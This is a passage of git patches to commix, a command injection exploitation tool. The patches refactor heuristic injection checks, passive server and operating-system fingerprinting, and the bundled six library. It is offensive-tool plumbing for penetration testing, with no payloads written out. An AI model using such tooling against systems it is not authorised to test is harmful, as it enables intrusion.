menu.options.skip_heuristics): + info_msg = "Skipping " + info_msg += settings.CHECKING_PARAMETER + "." + print(settings.print_info_msg(info_msg)) + settings.HEURISTIC_TEST.POSITIVE = True + else: + if menu.options.failed_tries and \ + menu.options.tech and not "f" in menu.options.tech and not \ + menu.options.failed_tries: + warn_msg = "Due to the provided (unsuitable) injection technique" + warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " + warn_msg += "the option '--failed-tries' will be ignored." + print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - if not (len(menu.options.tech) == 1 and "e" in menu.options.tech): - url = command_injection_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - - if not settings.IDENTIFIED_COMMAND_INJECTION and "e" in menu.options.tech: - # Check for identified warnings - url = code_injections_heuristic_basic(url, http_request_method, check_parameter, the_type, header_name, inject_http_headers) - if settings.IDENTIFIED_WARNINGS or settings.IDENTIFIED_PHPINFO: - checks.skip_testing(filename, url) - - if not settings.IDENTIFIED_COMMAND_INJECTION and not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: - settings.HEURISTIC_TEST.POSITIVE = False - warn_msg = "Heuristic (basic) tests shows that " - warn_msg += settings.CHECKING_PARAMETER + " might not be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + # Procced with file-based semiblind command injection technique, + # once the user provides the path of web server's root directory. + if menu.options.web_root and \ + menu.options.tech and not "f" in menu.options.tech: + if not menu.options.web_root.endswith("/"): + menu.options.web_root = menu.options.web_root + "/" + if checks.procced_with_file_based_technique(): + menu.options.tech = "f" - if (menu.options.smart and not settings.HEURISTIC_TEST.POSITIVE) or (menu.options.smart and menu.options.skip_heuristics): - info_msg = "Skipping " - info_msg += settings.CHECKING_PARAMETER + "." - print(settings.print_info_msg(info_msg)) - settings.HEURISTIC_TEST.POSITIVE = True - else: - if menu.options.failed_tries and \ - menu.options.tech and not "f" in menu.options.tech and not \ - menu.options.failed_tries: - warn_msg = "Due to the provided (unsuitable) injection technique" - warn_msg += "s"[len(menu.options.tech) == 1:][::-1] + ", " - warn_msg += "the option '--failed-tries' will be ignored." - print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL) - - # Procced with file-based semiblind command injection technique, - # once the user provides the path of web server's root directory. - if menu.options.web_root and \ - menu.options.tech and not "f" in menu.options.tech: - if not menu.options.web_root.endswith("/"): - menu.options.web_root = menu.options.web_root + "/" - if checks.procced_with_file_based_technique(): - menu.options.tech = "f" - - if settings.SKIP_COMMAND_INJECTIONS: - dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - else: - classic_command_injection_technique(url, timesec, filename, http_request_method) - if not settings.IDENTIFIED_COMMAND_INJECTION: + if settings.SKIP_COMMAND_INJECTIONS: dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) - timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) - filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + else: + classic_command_injection_technique(url, timesec, filename, http_request_method) + if not settings.IDENTIFIED_COMMAND_INJECTION: + dynamic_code_evaluation_technique(url, timesec, filename, http_request_method) + timebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + filebased_command_injection_technique(url, timesec, filename, http_request_method, url_time_response) + + # All injection techniques seems to be failed! + if checks.injection_techniques_status() == False: + warn_msg = "The tested " + warn_msg += settings.CHECKING_PARAMETER + warn_msg += " does not seem to be injectable." + print(settings.print_bold_warning_msg(warn_msg)) - # All injection techniques seems to be failed! - if checks.injection_techniques_status() == False: - warn_msg = "The tested " - warn_msg += settings.CHECKING_PARAMETER - warn_msg += " does not seem to be injectable." - print(settings.print_bold_warning_msg(warn_msg)) + if not settings.CHECK_BOTH_OS: + break """ Inject HTTP headers (User-agent / Referer / Host) (if level > 2). diff --git a/src/core/main.py b/src/core/main.py index a04aaae587..c56fe29222 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -505,20 +505,20 @@ def main(filename, url, http_request_method): print(settings.print_critical_msg(str(err_msg.reason) + ".")) raise SystemExit() try: - info_msg = "Performing identification checks to the target URL." + info_msg = "Performing identification (passive) tests to the target URL." print(settings.print_info_msg(info_msg)) # Webpage encoding detection. requests.encoding_detection(response) + # Procedure for target server identification. + requests.server_identification(response) # Procedure for target application identification requests.application_identification(url) # Specifies the technology supporting the web application - requests.technology_detection(response) - if response.info()[settings.SERVER] : - server_banner = response.info()[settings.SERVER] - # Procedure for target server's operating system identification. - requests.check_target_os(server_banner) - # Procedure for target server identification. - requests.server_identification(server_banner) + requests.technology_identification(response) + # Procedure for target server's operating system identification. + if not settings.IDENTIFIED_TARGET_OS: + requests.os_identification(response) + if settings.IDENTIFIED_TARGET_OS: # Store the Server's root dir settings.DEFAULT_WEB_ROOT = settings.WEB_ROOT if menu.options.is_admin or menu.options.is_root and not menu.options.current_user: @@ -528,7 +528,7 @@ def main(filename, url, http_request_method): # Check for wrong flags. checks.check_wrong_flags() else: - found_os_server = checks.user_defined_os() + checks.user_defined_os() except (KeyError, AttributeError): pass # Load tamper scripts diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 95a4dcf04c..f1a902c217 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -184,9 +184,9 @@ def estimate_response_time(url, timesec, http_request_method): warn_msg = menu.options.auth_type.capitalize() + " " warn_msg += "HTTP authentication credentials are required." print(settings.print_warning_msg(warn_msg)) - # Check if heuristics have failed to identify the realm attribute. + # Check if failed to identify the realm attribute. if not realm: - warn_msg = "Heuristics have failed to identify the realm attribute." + warn_msg = "Failed to identify the realm attribute." print(settings.print_warning_msg(warn_msg)) while True: message = "Do you want to perform a dictionary-based attack? [Y/n] > " @@ -237,8 +237,6 @@ def estimate_response_time(url, timesec, http_request_method): warn_msg = "Due to the relatively slow response of 'cmd.exe' in target " warn_msg += "host, there might be delays during the data extraction procedure." print(settings.print_warning_msg(warn_msg)) - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) url_time_response = int(round(diff)) warn_msg = "Target's estimated response time is " + str(url_time_response) warn_msg += " second" + "s"[url_time_response == 1:] + ". That may cause" @@ -650,9 +648,8 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): def encoding_detection(response): charset_detected = False if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the indicated web-page charset. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + debug_msg = "Identifying the web page charset." + print(settings.print_debug_msg(debug_msg)) try: # Detecting charset try: @@ -674,49 +671,23 @@ def encoding_detection(response): if len(charset) != 0 : charset_detected = True # Check the identifyied charset - if charset_detected : + if charset_detected: settings.DEFAULT_PAGE_ENCODING = charset - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) if settings.DEFAULT_PAGE_ENCODING.lower() not in settings.ENCODING_LIST: - warn_msg = "The indicated web-page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." + warn_msg = "The web page charset " + settings.DEFAULT_PAGE_ENCODING + " seems unknown." print(settings.print_warning_msg(warn_msg)) else: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The indicated web-page charset appears to be " - debug_msg += settings.DEFAULT_PAGE_ENCODING + Style.RESET_ALL + "." + debug_msg = "The web page charset appears to be " + settings.DEFAULT_PAGE_ENCODING + "." print(settings.print_bold_debug_msg(debug_msg)) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify indicated web-page charset." + warn_msg = "Failed to identify the web page charset." print(settings.print_warning_msg(warn_msg)) -""" -Procedure for target application identification -""" -def technology_detection(response): - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the technology supporting the target application. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() - print(settings.SINGLE_WHITESPACE) - try: - if len(response.info()[settings.X_POWERED_BY]) != 0: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target application is powered by " - debug_msg += response.info()[settings.X_POWERED_BY] + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - - except Exception as e: - if settings.VERBOSITY_LEVEL != 0: - warn_msg = "Heuristics have failed to identify the technology supporting the target application." - print(settings.print_warning_msg(warn_msg)) - - """ Procedure for target application identification """ @@ -724,17 +695,14 @@ def application_identification(url): found_application_extension = False if settings.VERBOSITY_LEVEL != 0: debug_msg = "Identifying the target application." - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() + print(settings.print_debug_msg(debug_msg)) root, application_extension = splitext(_urllib.parse.urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The target application identified as " - debug_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." + debug_msg = "The target application appears to be " + settings.TARGET_APPLICATION + "." print(settings.print_bold_debug_msg(debug_msg)) # Check for unsupported target applications @@ -746,31 +714,80 @@ def application_identification(url): if not found_application_extension: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify target application." + warn_msg = "Failed to identify target's application." print(settings.print_warning_msg(warn_msg)) """ -Procedure for target server's identification. +Underlying operating system check. """ -def server_identification(server_banner): - found_server_banner = False - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying the target server. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() +def check_os(_): + if menu.options.os and checks.user_defined_os(): + user_defined_os = settings.TARGET_OS - for i in range(0,len(settings.SERVER_BANNERS)): - match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) + for i in range(0,len(settings.SERVER_OS_BANNERS)): + match = re.search(settings.SERVER_OS_BANNERS[i].lower(), _.lower()) if match: if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) + debug_msg = "Identifying the underlying operating system." + print(settings.print_debug_msg(debug_msg)) + settings.IDENTIFIED_TARGET_OS = True + settings.TARGET_OS = match.group(0) + match = re.search(r"microsoft|win", settings.TARGET_OS) + if match: + settings.TARGET_OS = identified_os = settings.OS.WINDOWS + if menu.options.os and user_defined_os != settings.OS.WINDOWS: + if checks.identified_os(): + settings.TARGET_OS = user_defined_os + else: + settings.TARGET_OS = settings.OS.WINDOWS + if menu.options.shellshock: + err_msg = "The shellshock module ('--shellshock') is not available for " + identified_os + " targets." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + else: + identified_os = "Unix-like (" + settings.TARGET_OS + ")" + if menu.options.os and user_defined_os == settings.OS.WINDOWS: + if checks.identified_os(): + settings.TARGET_OS = user_defined_os + + if settings.VERBOSITY_LEVEL != 0 : + if settings.IDENTIFIED_TARGET_OS: + debug_msg = "The underlying operating system appears to be " + identified_os.title() + "." + print(settings.print_bold_debug_msg(debug_msg)) + +""" +Target application identification +""" +def technology_identification(response): + x_powered_by = response.info()[settings.X_POWERED_BY] + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the technology supporting the target application." + print(settings.print_debug_msg(debug_msg)) + try: + if len(x_powered_by) != 0: if settings.VERBOSITY_LEVEL != 0: - debug_msg = "The target server identified as " - debug_msg += server_banner + Style.RESET_ALL + "." + debug_msg = "The target application is powered by " + x_powered_by + "." print(settings.print_bold_debug_msg(debug_msg)) + check_os(x_powered_by) + + except Exception as e: + if settings.VERBOSITY_LEVEL != 0: + warn_msg = "Failed to identify the technology supporting the target application." + print(settings.print_warning_msg(warn_msg)) + +""" +Target server's identification. +""" +def server_identification(response): + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Identifying the software used by target server." + print(settings.print_debug_msg(debug_msg)) + + server_banner = response.info()[settings.SERVER] + for i in range(0,len(settings.SERVER_BANNERS)): + match = re.search(settings.SERVER_BANNERS[i].lower(), server_banner.lower()) + if match: settings.SERVER_BANNER = match.group(0) - found_server_banner = True # Set up default root paths if "apache" in settings.SERVER_BANNER.lower(): if settings.TARGET_OS == settings.OS.WINDOWS: @@ -782,96 +799,24 @@ def server_identification(server_banner): elif "microsoft-iis" in settings.SERVER_BANNER.lower(): settings.WEB_ROOT = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] break - else: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - warn_msg = "The server which identified as '" - warn_msg += server_banner + "' seems unknown." - print(settings.print_warning_msg(warn_msg)) + + if len(server_banner) != 0 and settings.VERBOSITY_LEVEL != 0: + debug_msg = "The target server's software appears to be " + server_banner + "." + print(settings.print_bold_debug_msg(debug_msg)) + """ Procedure for target server's operating system identification. """ -def check_target_os(server_banner): - found_os_server = False - if menu.options.os and checks.user_defined_os(): - user_defined_os = settings.TARGET_OS - - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Identifying The underlying operating system. " - sys.stdout.write(settings.print_debug_msg(debug_msg)) - sys.stdout.flush() +def os_identification(response): + if not settings.IGNORE_IDENTIFIED_OS: + server_banner = response.info()[settings.SERVER] + identified_os = check_os(server_banner) - # Procedure for target OS identification. - for i in range(0,len(settings.SERVER_OS_BANNERS)): - match = re.search(settings.SERVER_OS_BANNERS[i].lower(), server_banner.lower()) - if match: - found_os_server = True - settings.TARGET_OS = match.group(0) - match = re.search(r"microsoft|win", settings.TARGET_OS) - if match: - identified_os = "Windows" - if menu.options.os and user_defined_os != "win": - if not checks.identified_os(): - settings.TARGET_OS = user_defined_os - - settings.TARGET_OS = identified_os[:3].lower() - if menu.options.shellshock: - if settings.VERBOSITY_LEVEL != 0: - print(settings.SINGLE_WHITESPACE) - err_msg = "The shellshock module ('--shellshock') is not available for " - err_msg += identified_os + " targets." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - else: - identified_os = "Unix-like (" + settings.TARGET_OS + ")" - if menu.options.os and user_defined_os == "win": - if not checks.identified_os(): - settings.TARGET_OS = user_defined_os - - if settings.VERBOSITY_LEVEL != 0 : - if found_os_server: - print(settings.SINGLE_WHITESPACE) - debug_msg = "The underlying operating system appears to be " - debug_msg += identified_os.title() + Style.RESET_ALL + "." - print(settings.print_bold_debug_msg(debug_msg)) - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "Heuristics have failed to identify server's operating system." - print(settings.print_warning_msg(warn_msg)) - - if found_os_server == False and not menu.options.os: - # If "--shellshock" option is provided then, by default is a Linux/Unix operating system. - if menu.options.shellshock: - pass - else: - if menu.options.batch: - if not settings.CHECK_BOTH_OS: - settings.CHECK_BOTH_OS = True - check_type = "Unix-like based" - elif settings.CHECK_BOTH_OS: - settings.TARGET_OS = settings.OS.WINDOWS - settings.CHECK_BOTH_OS = False - settings.PERFORM_BASIC_SCANS = True - check_type = "windows based" - info_msg = "Setting the " + check_type + " payloads." - print(settings.print_info_msg(info_msg)) - else: - while True: - message = "Do you recognise the server's operating system? " - message += "[(W)indows/(U)nix-like/(q)uit] > " - got_os = common.read_input(message, default="", check_batch=True) - if got_os.lower() in settings.CHOICE_OS : - if got_os.lower() == "w": - settings.TARGET_OS = settings.OS.WINDOWS - break - elif got_os.lower() == "u": - break - elif got_os.lower() == "q": - raise SystemExit() - else: - common.invalid_option(got_os) - pass + if not settings.IDENTIFIED_TARGET_OS and not menu.options.os: + warn_msg = "Failed to identify server's underlying operating system." + print(settings.print_warning_msg(warn_msg)) + checks.define_target_os() """ Perform target page reload (if it is required). diff --git a/src/utils/settings.py b/src/utils/settings.py index 2ab11961e0..b9d9b6d0d1 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -389,11 +389,14 @@ class HEURISTIC_TEST(object): class OS(object): UNIX = "unix" - WINDOWS = "win" + WINDOWS = "windows" # Default target host OS (Unix-like) TARGET_OS = OS.UNIX +IDENTIFIED_TARGET_OS = False +IGNORE_IDENTIFIED_OS = None + # Verbosity level: 0-1 (default 0) VERBOSITY_LEVEL = 0 @@ -632,7 +635,7 @@ class OS(object): CHOICE_QUIT = ['QUIT','Q','quit','q'] # Accepts 'W','w','U','u','Q','q' -CHOICE_OS = ['W','w','U','u','Q','q'] +CHOICE_OS = ['W','w','U','u','Q','q','N','n'] # Accepts 'C','c','S','s','Q','q','a','A','n','N' CHOICE_PROCEED = ['C','c','S','s','Q','q','a','A','n','N'] From 25fa4ab435608e02afcd3f33792bb8f6daeaff86 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 21 May 2024 07:21:57 +0300 Subject: [PATCH 447/560] Six (third party) module has been updated (Python 3.12 support). Potential fix for https://github.com/commixproject/commix/issues/885 --- doc/CHANGELOG.md | 1 + src/thirdparty/six/__init__.py | 107 +++++++++++++++++++++++---------- src/utils/settings.py | 2 +- 3 files changed, 78 insertions(+), 32 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9376fee450..a60debb2e8 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.0 (TBA) +* Updated: Six (third party) module has been updated (Python 3.12 support). * Revised: Minor improvement regarding determining (passively) the target's underlying operating system. * Revised: Minor improvement for enabling end-users to choose whether to skip or continue testing the remaining parameters, if one is found vulnerable. * Revised: Minor improvements regarding semiblind (i.e. "file-based") technique. diff --git a/src/thirdparty/six/__init__.py b/src/thirdparty/six/__init__.py index bba719bf42..d4fe9849f2 100644 --- a/src/thirdparty/six/__init__.py +++ b/src/thirdparty/six/__init__.py @@ -1,4 +1,4 @@ -# Copyright (c) 2010-2018 Benjamin Peterson +# Copyright (c) 2010-2020 Benjamin Peterson # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -29,7 +29,7 @@ import types __author__ = "Benjamin Peterson " -__version__ = "1.12.0" +__version__ = "1.16.0" # Useful for very coarse version differentiation. @@ -71,6 +71,11 @@ def __len__(self): MAXSIZE = int((1 << 63) - 1) del X +if PY34: + from importlib.util import spec_from_loader +else: + spec_from_loader = None + def _add_doc(func, doc): """Add documentation to a function.""" @@ -186,6 +191,11 @@ def find_module(self, fullname, path=None): return self return None + def find_spec(self, fullname, path, target=None): + if fullname in self.known_modules: + return spec_from_loader(fullname, self) + return None + def __get_module(self, fullname): try: return self.known_modules[fullname] @@ -223,6 +233,12 @@ def get_code(self, fullname): return None get_source = get_code # same as get_code + def create_module(self, spec): + return self.load_module(spec.name) + + def exec_module(self, module): + pass + _importer = _SixMetaPathImporter(__name__) @@ -247,18 +263,19 @@ class _MovedItems(_LazyModule): MovedAttribute("reduce", "__builtin__", "functools"), MovedAttribute("shlex_quote", "pipes", "shlex", "quote"), MovedAttribute("StringIO", "StringIO", "io"), - MovedAttribute("UserDict", "UserDict", "collections"), + MovedAttribute("UserDict", "UserDict", "collections", "IterableUserDict", "UserDict"), MovedAttribute("UserList", "UserList", "collections"), MovedAttribute("UserString", "UserString", "collections"), MovedAttribute("xrange", "__builtin__", "builtins", "xrange", "range"), MovedAttribute("zip", "itertools", "builtins", "izip", "zip"), MovedAttribute("zip_longest", "itertools", "itertools", "izip_longest", "zip_longest"), - MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("builtins", "__builtin__"), MovedModule("configparser", "ConfigParser"), + MovedModule("collections_abc", "collections", "collections.abc" if sys.version_info >= (3, 3) else "collections"), MovedModule("copyreg", "copy_reg"), MovedModule("dbm_gnu", "gdbm", "dbm.gnu"), - MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread"), + MovedModule("dbm_ndbm", "dbm", "dbm.ndbm"), + MovedModule("_dummy_thread", "dummy_thread", "_dummy_thread" if sys.version_info < (3, 9) else "_thread"), MovedModule("http_cookiejar", "cookielib", "http.cookiejar"), MovedModule("http_cookies", "Cookie", "http.cookies"), MovedModule("html_entities", "htmlentitydefs", "html.entities"), @@ -638,13 +655,16 @@ def u(s): import io StringIO = io.StringIO BytesIO = io.BytesIO + del io _assertCountEqual = "assertCountEqual" if sys.version_info[1] <= 1: _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" else: _assertRaisesRegex = "assertRaisesRegex" _assertRegex = "assertRegex" + _assertNotRegex = "assertNotRegex" else: def b(s): return s @@ -666,6 +686,7 @@ def indexbytes(buf, i): _assertCountEqual = "assertItemsEqual" _assertRaisesRegex = "assertRaisesRegexp" _assertRegex = "assertRegexpMatches" + _assertNotRegex = "assertNotRegexpMatches" _add_doc(b, """Byte literal""") _add_doc(u, """Text literal""") @@ -682,6 +703,10 @@ def assertRegex(self, *args, **kwargs): return getattr(self, _assertRegex)(*args, **kwargs) +def assertNotRegex(self, *args, **kwargs): + return getattr(self, _assertNotRegex)(*args, **kwargs) + + if PY3: exec_ = getattr(moves.builtins, "exec") @@ -717,16 +742,7 @@ def exec_(_code_, _globs_=None, _locs_=None): """) -if sys.version_info[:2] == (3, 2): - exec_("""def raise_from(value, from_value): - try: - if from_value is None: - raise value - raise value from from_value - finally: - value = None -""") -elif sys.version_info[:2] > (3, 2): +if sys.version_info[:2] > (3,): exec_("""def raise_from(value, from_value): try: raise value from from_value @@ -806,13 +822,33 @@ def print_(*args, **kwargs): _add_doc(reraise, """Reraise an exception.""") if sys.version_info[0:2] < (3, 4): + # This does exactly the same what the :func:`py3:functools.update_wrapper` + # function does on Python versions after 3.2. It sets the ``__wrapped__`` + # attribute on ``wrapper`` object and it doesn't raise an error if any of + # the attributes mentioned in ``assigned`` and ``updated`` are missing on + # ``wrapped`` object. + def _update_wrapper(wrapper, wrapped, + assigned=functools.WRAPPER_ASSIGNMENTS, + updated=functools.WRAPPER_UPDATES): + for attr in assigned: + try: + value = getattr(wrapped, attr) + except AttributeError: + continue + else: + setattr(wrapper, attr, value) + for attr in updated: + getattr(wrapper, attr).update(getattr(wrapped, attr, {})) + wrapper.__wrapped__ = wrapped + return wrapper + _update_wrapper.__doc__ = functools.update_wrapper.__doc__ + def wraps(wrapped, assigned=functools.WRAPPER_ASSIGNMENTS, updated=functools.WRAPPER_UPDATES): - def wrapper(f): - f = functools.wraps(wrapped, assigned, updated)(f) - f.__wrapped__ = wrapped - return f - return wrapper + return functools.partial(_update_wrapper, wrapped=wrapped, + assigned=assigned, updated=updated) + wraps.__doc__ = functools.wraps.__doc__ + else: wraps = functools.wraps @@ -825,7 +861,15 @@ def with_metaclass(meta, *bases): class metaclass(type): def __new__(cls, name, this_bases, d): - return meta(name, bases, d) + if sys.version_info[:2] >= (3, 7): + # This version introduced PEP 560 that requires a bit + # of extra care (we mimic what is done by __build_class__). + resolved_bases = types.resolve_bases(bases) + if resolved_bases is not bases: + d['__orig_bases__'] = bases + else: + resolved_bases = bases + return meta(name, resolved_bases, d) @classmethod def __prepare__(cls, name, this_bases): @@ -862,12 +906,11 @@ def ensure_binary(s, encoding='utf-8', errors='strict'): - `str` -> encoded to `bytes` - `bytes` -> `bytes` """ + if isinstance(s, binary_type): + return s if isinstance(s, text_type): return s.encode(encoding, errors) - elif isinstance(s, binary_type): - return s - else: - raise TypeError("not expecting type '%s'" % type(s)) + raise TypeError("not expecting type '%s'" % type(s)) def ensure_str(s, encoding='utf-8', errors='strict'): @@ -881,12 +924,15 @@ def ensure_str(s, encoding='utf-8', errors='strict'): - `str` -> `str` - `bytes` -> decoded to `str` """ - if not isinstance(s, (text_type, binary_type)): - raise TypeError("not expecting type '%s'" % type(s)) + # Optimization: Fast return for the common case. + if type(s) is str: + return s if PY2 and isinstance(s, text_type): - s = s.encode(encoding, errors) + return s.encode(encoding, errors) elif PY3 and isinstance(s, binary_type): - s = s.decode(encoding, errors) + return s.decode(encoding, errors) + elif not isinstance(s, (text_type, binary_type)): + raise TypeError("not expecting type '%s'" % type(s)) return s @@ -909,10 +955,9 @@ def ensure_text(s, encoding='utf-8', errors='strict'): raise TypeError("not expecting type '%s'" % type(s)) - def python_2_unicode_compatible(klass): """ - A decorator that defines __unicode__ and __str__ methods under Python 2. + A class decorator that defines __unicode__ and __str__ methods under Python 2. Under Python 3 it does nothing. To support Python 2 and 3 with a single code base, define a __str__ method diff --git a/src/utils/settings.py b/src/utils/settings.py index b9d9b6d0d1..839d7c96c8 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 862edfc1748214793277c00531a3528ab451a55c Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 22 May 2024 07:18:14 +0300 Subject: [PATCH 448/560] Minor update --- commix.py | 11 ++++++----- src/utils/settings.py | 2 +- src/utils/version.py | 4 ++-- 3 files changed, 9 insertions(+), 8 deletions(-) diff --git a/commix.py b/commix.py index 882ae1f024..d6dabe01ba 100755 --- a/commix.py +++ b/commix.py @@ -13,17 +13,18 @@ For more see the file 'readme/COPYING' for copying permission. """ +import sys + # Dummy check for missing module(s). try: __import__("src.utils.version") from src.utils import version version.python_version() -except ImportError: - err_msg = "Wrong installation detected (missing modules). " - err_msg = "Visit 'https://github.com/commixproject/commix/' for further details. \n" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() +except ImportError as ex: + err_msg = "Wrong installation detected (i.e \"" + str(ex) + "\"). " + err_msg += "Visit 'https://github.com/commixproject/commix/' for further details." + sys.exit(err_msg) # Main def main(): diff --git a/src/utils/settings.py b/src/utils/settings.py index 839d7c96c8..9741f8d36f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.0" -REVISION = "52" +REVISION = "53" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: diff --git a/src/utils/version.py b/src/utils/version.py index 21631a378c..9f1ce1a33a 100644 --- a/src/utils/version.py +++ b/src/utils/version.py @@ -31,6 +31,6 @@ def python_version(): if PYTHON_VERSION.split(".")[0] != "3": warn_msg = "Deprecated Python version detected: " warn_msg += PYTHON_VERSION + ". " - warn_msg += "You are advised to use Python version 3." - print("\n" + settings.print_bold_warning_msg(warn_msg)) + warn_msg += "You are advised to re-run with Python 3." + print(settings.print_bold_warning_msg(warn_msg)) #raise SystemExit() From d6c644eac2077d7adf50104113994b5ba02fca48 Mon Sep 17 00:00:00 2001 From: Anastasios Stasinopoulos Date: Thu, 23 May 2024 08:51:19 +0300 Subject: [PATCH 449/560] Trying python 3.12 in CI/CD tests --- .github/workflows/builds.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/builds.yml b/.github/workflows/builds.yml index 48bdd19506..9158aa3f92 100644 --- a/.github/workflows/builds.yml +++ b/.github/workflows/builds.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macos-latest, windows-latest] - python-version: [ 'pypy-2.7', '3.11' ] + python-version: [ 'pypy-2.7', '3.12' ] steps: - uses: actions/checkout@v2 - name: Set up Python From c0690f66d1be8da1369134b449baeafe1291e094 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 24 May 2024 08:39:05 +0300 Subject: [PATCH 450/560] Fixing some Python 3.12 naggings --- src/core/injections/controller/checks.py | 4 ++-- .../results_based/techniques/classic/cb_injector.py | 2 +- .../semiblind/techniques/file_based/fb_handler.py | 2 +- src/core/requests/headers.py | 2 +- src/core/requests/parameters.py | 6 +++--- src/core/requests/requests.py | 2 +- src/thirdparty/colorama/ansitowin32.py | 4 ++-- src/utils/common.py | 4 ++-- src/utils/menu.py | 8 ++++---- src/utils/settings.py | 11 +++++------ 10 files changed, 22 insertions(+), 23 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 58ccb214ee..33a42411b0 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -727,8 +727,8 @@ def escaped_cmd(cmd): cmd = cmd.replace("\\\"","\"") if "\'" in cmd : cmd = cmd.replace("\'","'") - if "\$" in cmd : - cmd = cmd.replace("\$","$") + if r"\$" in cmd : + cmd = cmd.replace(r"\$","$") return cmd """ diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index de6a02ac17..b9aaa2d3fa 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -290,7 +290,7 @@ def injection_results(response, TAG, cmd): shell = re.findall(r"" + "(.*)" + TAG + TAG, shell) # Clear junks shell = [tags.replace(TAG + TAG , settings.SINGLE_WHITESPACE) for tags in shell] - shell = [backslash.replace("\/","/") for backslash in shell] + shell = [backslash.replace(r"\/","/") for backslash in shell] except UnicodeDecodeError: pass if settings.TARGET_OS == settings.OS.WINDOWS: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 867fd6911f..6fb34663bc 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -98,7 +98,7 @@ def check_tmp_path(url, timesec, filename, http_request_method, url_time_respons # Set temp path if settings.TARGET_OS == 